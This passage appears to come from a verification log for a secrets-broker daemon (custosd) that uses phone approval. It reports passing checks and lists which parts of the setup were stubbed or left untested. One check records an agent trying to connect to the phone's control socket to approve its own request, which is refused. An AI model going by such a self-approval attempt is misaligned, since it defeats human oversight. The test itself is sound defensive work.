the socket (raw connect) refused agent connects to the phone's control socket to approve its own request ok custosd verify as the daemon user: the host's log matches the phone's ok canary scan: 0 hits ok custos-relay inspect --search: 0 hits for values, names, hosts, reason, reference RESULT: every check passed; findings to fix elsewhere: 1 # NOT shown here: # - macOS service mode. It needs a second macOS user (_custos, created with dscl) and sudo on a real Mac, # plus the LaunchDaemon; that is an owner action on the owner's machine, not something an agent can do # in a container. macOS also refuses the 1Password bridge in service mode until the macOS two-uid # tests of ADR 0114 pass on the owner's Mac (ADR 0055, 0114, 0115). # - systemd itself: the unit file was written as printed, but the container has no systemd, so # RuntimeDirectory=, User=, Group= and UMask= were applied by hand (setpriv, install -d, umask). # - sudo: not installed in this image; the admin subcommand ran via setpriv as the daemon uid. # - The real phone and PWA: the approver is the scripted phone (custos_core approver builders, software # WebAuthn authenticator, SeqRng keys) on its own uid. Real APNs/FCM push is not involved. # - Real 1Password and Azure: stub op and fake Entra/Key Vault on 127.0.0.1 behind a CA made for this run; # no real tenant, vault or token was used, and the container had no network. # - root on the box: a root (or docker-group) user can read everything; that is isolation 3 / N19.